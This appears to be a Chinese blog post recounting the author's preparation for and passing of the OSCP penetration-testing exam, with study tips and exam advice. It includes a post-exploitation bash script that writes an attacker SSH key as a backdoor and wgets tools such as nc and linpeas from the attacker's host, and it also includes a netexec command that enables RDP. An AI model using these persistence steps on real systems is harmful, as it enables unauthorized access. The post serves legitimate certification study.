OSCP认证总结

背景

考试之前也看了很多师傅们考OSCP的经验,有的师傅只简单过一下课程内容和challeng lab后就能通过考试,有些师傅考了几次都没有过。是否能通过认证考试取决于自己目前掌握知识水平和每天能在课程和Lab中花费的时间,所以不要拿自己和别人比较,我们也没法复制别人的学习路线。

我的本职工作是后端开发,因为对安全比较感兴趣,之前零散学过一些知识,现在准备转行,萌生了考个证书作为敲门砖的想法,最初准备考CISP-PTE,在了解OSCP之后,发现差不多的价钱OSCP更有含金量。
本文内容请基于我已掌握了以下知识来阅读:

  • 熟练使用linux
  • 掌握Python、Go、PHP语言
  • 英文阅读能力尚可,毕竟翻译软件我是会用的
    同样地,以下内容只是一个刚通过OSCP考试的渗透测试初学者的经验,参考价值有限

时间线

从24年10月份开始学习到25年4月初通过考试,总计花费5个月时间。
2024.9底购买了offsec 90天课程+Exam package, 趁着十一假期突击学习了一波
2024.10月至11月中旬,利用下班后的时间学完了课程内容,预约了元旦假期考试
2024.11月中旬-2025.1,因为公司春节活动,包括周末在内每天高强度加班,期间没看课程相关内容, 期间又改了2次考试时间
2024.12月底,课程过期,Challenge Lab只做过第一个Secura
2025.1 购买Proving Grounds Practice,按照TjNull List开始联系Machine
2025.2 又续了一个月,但是因为考试预约时间已经改了2次了,也不想继续拖下去,在元宵节前的周末参加了考试,此时总计刷了大概15台Machine, 结果毫无疑问地挂了,得了20分
2025.3月初,订阅Learning Unlimited后,本着这次不过1个月后还能再来一次的想法,预约了3月底的考试
2025.4.1 考试通过

Discord里的有个师傅公司有22% off, Discord里也有很多备考经验分享, 每天看看师傅们讨论也能学习到不少知识, 氛围非常友好活跃。即使问一些很初级的问题,师傅们也会耐心解答,给我的备考帮助很大,在这里感谢师傅们

为什么选择Learn Unlimitd?
因为当时课程已经结束,而Challenge Lab我还没有做,如果续lab(30天)+补考的话需要$359+$249,实在是有点太贵了,并且当时有点没信心,如果考不过的话补考又需要$249。此外,我希望能继续学习其他课程,掌握更多知识,因此Learn Unlimited在当时是最佳选择。

关于课程

我学到了什么

  1. PEN-200课程给我最大的感受是它是在教学生构建自己的方法论,这点对现阶段的我来说非常适用,课程结束之后对渗透测试有了初步的完整轮廓
  2. Windows以及AD是我此前完全不懂的内容,通过课程学习之后对这部分基础有了一定认识
  3. 英语阅读能力得到了提升,之前看到大篇幅的英文文档时,第一想法是用翻译软件翻译,但是因为有些翻译不达意,逐渐养成了能静下心来逐句阅读的好习惯

一定要做的事

  1. 课程中一定要做笔记,一方面系统梳理知识点,另一方面很多工具的常用参数记录下来,在考试时和日后工作中能快速检索。我认为笔记是能否通过考试的关键
  2. PG Machine是最好的练习,Machine肯定做的越多越好,毕竟我们的目的不只是通过考试,而是学习积累渗透测试经验,但话说回来,TjNull列表中的Machine刷完就足以应对考试了
  3. Drrow C play list在考试前一定要过一遍,AD思路基本可以应对考试
  4. Challenge Lab中OSCP A/B/C中应该至少选择一个尝试在24小时内完成,并写一份完整的渗透测试报告(我没有写报告导致交报告时的时间很紧张)

其他重要的事

  • 熟练使用常用工具,你肯定不想在考试时调试使用不熟练的工具,我第一次考试就是 ligolo-ng掩码写错了,导致内网转发网络不通,还找了监考帮忙确认机器是否有问题,浪费了2个小时
  • 最终前人的经验总结,它们的背后应该都有一段血泪的经历,之前看到很多师傅说reverse shell时最好使用Machine自身开放的端口,而我此前一直用80或443没有遇到过问题,因此对此不以为意,直到我也有了一段惨痛的教训
  • 不要过于依赖自动化信息收集工具,练习手动信息收集很重要,甚至我们可以自己写一个收集信息的脚本,关键点在于我们需要知道哪些信息是需要关注的
  • 课程中文字内容比视频更详尽,推荐先阅读文字,如果有问题再结合视频看
  • 如果你和我一样是新手,建议多练习使用MSF,虽然在考试中对MSF的使用有限制,但是优秀工具的熟练使用对日后渗透测试应该是必须的
  • 每种类型的工具最好能熟练使用两个,一些固定常见操作可以写一个小脚本或者alias,考试时能节省一些时间
    例如:
  1. alias: ligolo=/home/kali/pentestools/Pivot/ligolo-ng/run_proxy.sh
1
2
3
4
subnet=$1 # like 172.16.112.0/24
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ip route add $subnet dev ligolo
  1. 获取机器初始权限之后,从kali下载如下脚本,用来添加后门或者下载文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# /bin/bash
host=$1
host="http://$host"

shift
tools=("$@")

# add id_ras.pub
mkdir -p /home/`whoami`/.ssh
echo 'ssh-rsa xxx kali@kali' > /home/`whoami`/.ssh/authorized_keys

# 定义工具与文件名的对应关系
declare -A tool_map
tool_map["nc"]="nc"
tool_map["socat"]="socat"
tool_map["linpeas"]="linpeas_linux_amd64"
tool_map["pspy"]="pspy64"
tool_map["pec.sh"]="pec.sh"

# 遍历工具并下载
for tool in "${tools[@]}"
do
if [[ -n "${tool_map[$tool]}" ]]; then
echo "Downloading ${tool}..."
wget "${host}/linux/${tool_map[$tool]}" -O $tool
chmod +x $tool
echo "Download ${tool} Done"
else
echo "Unknown tool: $tool"
fi
done
echo "All Done"

关于考试

“技巧”

得益于国内应试教育的历练,我们都有很强的应对考试的能力。既然是考试,我认为多多少少会有一些所谓”技巧”, 以下综合自己的考试经历和多位师傅们的经验分享总结:

  1. 手动枚举:考试中最重要的是枚举,比如提权时我们一般会优先使用一些自动化工具提高效率,但是有些考试机器被设置为需要手动枚举才能找到利用点,那手动枚举的关键点就是能找到 考点,在oscp中的考点就是 find something unusual,关于什么是unusual,在做过了PG Machine之后就会有明显的体会,比如一般情况下windows机器目录下有 inetputwindowsusersProgram Files(X86)这几个 usual文件夹,除了这些之外就是 unusual, 如果发现像 backupftp或者某个程序的安装文件夹,那么基本可以确定下一步方向,在pg Machine中还遇到过有台机器中有个 windows.old
  2. 如果在登录机器后发现了nmap工具扫描没有发现的端口,也是值得关注的 something unusual
  3. web枚举时,如果发现有员工介绍,这些名字往往可能就是username,再比如员工头像都是人像,而如果某个是卡通图片,往往也可能是关键信息,需要额外关注
  4. reverse shell选择常见的端口(比如53、443)以及机器自身开放的端口来绕过一些可能的限制
  5. 爆破时使用字典rockyou.txt,如果没有结果使用 rules/best64.rule,如果仍没有结果,那么这台机器的”考点”基本上就不是密码爆破
  6. 通过的关键:Enumerate -> Enumerate -> Exploit -> Enumerate -> Get Creds/hashes -> crackmapexec/nxc -> Lateral Movement and repeat…
  7. 获取权限之后修改密码或者设置后门 netexec smb $IP -u administrator -p pass123 -M rdp -o ACTION=enable

关于报告

官方的模板是word文档,我平时一般用markdown记笔记,所以想着用很多师傅在用的OSCP-Exam-Report-Template-Markdown生成报告,但是在生成报告时遇到了一些问题,又因为我写报告的时间比较晚,临近截止时间就直接Typro导出成pdf上交了。所以报告应该是能明确说明渗透路径就行,直接参考官方模板写应该是最简单的方式。

最后

别把证书看得过于重要,它虽然能在某种程度上证明我们的能力,而本文都是在讲怎么通过认证考试,也介绍了一些关于考试的所谓”技巧”,但我认为OSCP的学习过程更重要,我们在获得认证的同时,更重要的是拥有成为能力全面的Penetratin tester的能力。反之如果这个证书没能给我们的生活工作带来任何帮助,那它就是一张废纸。